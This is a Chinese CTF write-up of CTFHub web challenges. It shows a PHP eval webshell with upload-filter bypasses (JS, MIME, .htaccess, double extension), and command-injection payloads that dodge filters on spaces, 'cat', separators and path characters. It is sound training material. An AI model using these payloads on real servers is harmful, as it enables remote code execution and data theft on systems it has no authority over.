CTFHub之web基础刷题记录(续集)
5.文件上传
无验证
直接上传一句话木马<?php @eval($_POST['pass']);?>
打开蚁剑,输入密码连接,注意URL地址是一句话木马的路径
即可得到flag
前端验证
上传.php文件,发现不允许上传,因为是js前端检验,可直接抓包绕过再改回后缀名即可
上传2.jpg,再抓包改回2.php,发现上传成功
MIME绕过
抓包,将Content-Type类型改为jpg,png或gif的格式即可
这里我用jpg格式发现上传失败了,改用gif格式上传成功的
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
由于之前写过类似的了,这里直接用,先上传.htaccess,上传成功
接下来上传xxx.jpg,发现并未以jpg格式解析,而是php格式解析的,接下来一句话即可
双写后缀
上传php发现上传成功,但php后缀被删除了,依照题目应该要双写后缀
上传2.pphphp
成功变为2.php,即可执行一句话获得flag
6.RCE
命令注入
首先ls查看有哪些文件www.baidu.com ; ls
发现有216872332227313.php,cat一下www.baidu.com ; cat 216872332227313.php
,然后在源代码发现flag
过滤cat
127.0.0.1 ; ls
先查看文件,发现了flag_169413020618490.php
发现cat被过滤了,那么我们就要构造cat,在linux下可尝试构造127.0.0.1 ; a=ca;b=t;$a$b flag_169413020618490.php
,在源码得到flag
过滤空格
先进行过滤空格总结,在linux环境下进行试验1:<>
2:<
3:${IFS}
由于${IFS}没有什么问题,用它来解题,同理先查看文件 127.0.0.1;ls
然后读取flag 127.0.0.1;cat${IFS}flag_23126758913777.php
,源码得到flag
过滤目录分隔符
首先查看文件127.0.0.1 ; ls
发现有flag_is_here,我们要进入目录下拿flag,127.0.0.1 ; cd flag_is_here ; ls
然后将ls改为cat flag即可127.0.0.1 ; cd flag_is_here ; cat flag_1918363312881.php
,源码得到flag
过滤运算符
和前面的题一样,思路一模一样。。。。这里没有过滤 ;差评。127.0.0.1 ; ls
127.0.0.1 ; cat flag_225062507519043.php
综合过滤练习
这就真的全过滤了,这里就要用到另外两种命令分隔符了%0a(换行符) 、%0d(回车符)
,并且在url下写入:?ip=127.0.0.1%0als#
接下来查看flag_is_here文件夹,我这里使用Hex编码查看,?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")#
得到了flag的文件名,接下来就是读取了,由于过滤了cat,可以用ca''t
或ca""t
来绕过,并且对下面进行16进制编码ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x36\x33\x31\x38\x31\x35\x30\x35\x33\x33\x34\x2e\x70\x68\x70")#
总之技巧很多,可以参考文章:关于命令执行以及常见的一些绕过过滤的方法